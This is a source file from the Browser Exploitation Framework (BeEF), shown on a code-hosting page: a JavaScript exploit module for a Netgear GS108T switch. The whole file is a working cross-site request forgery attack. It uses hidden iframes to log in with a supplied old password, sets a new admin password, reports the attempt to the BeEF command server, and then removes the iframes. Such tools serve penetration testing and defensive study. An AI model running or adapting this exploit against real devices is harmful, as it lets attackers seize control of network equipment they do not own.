Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/switch/netgear_gs108t_csrf/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var base = '<%= @base %>';
9
var oldpassword = '<%= @oldpassword %>';
10
var newpassword = '<%= @newpassword %>';
11
12
var gs_iframe = beef.dom.createInvisibleIframe();
13
gs_login = function() {
14
var d = new Date;
15
var rtime = (d.getTime() / 500);
16
gs_iframe.setAttribute('src', base+'login.cgi?passwd='+oldpassword+'&rtime='+rtime);
17
}
18
19
var gs108t_iframe = beef.dom.createInvisibleIframe();
20
gs_change_pwd = function() {
21
gs108t_iframe.setAttribute('src', base+'password.cgi?inputBox_oldPassword='+oldpassword+'&inputBox_newPassword='+newpassword+'&inputBox_retypeNewPassword='+newpassword);
22
}
23
24
//login to create the cookie
25
gs_login();
26
27
//wait some miliseconds and attempt to change the password
28
setTimeout("gs_change_pwd()", 500);
29
30
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
31
32
cleanup = function() {
33
document.body.removeChild(gs108t_iframe);
34
document.body.removeChild(gs_iframe);
35
}
36
setTimeout("cleanup()", 15000);
37
});
38
39
40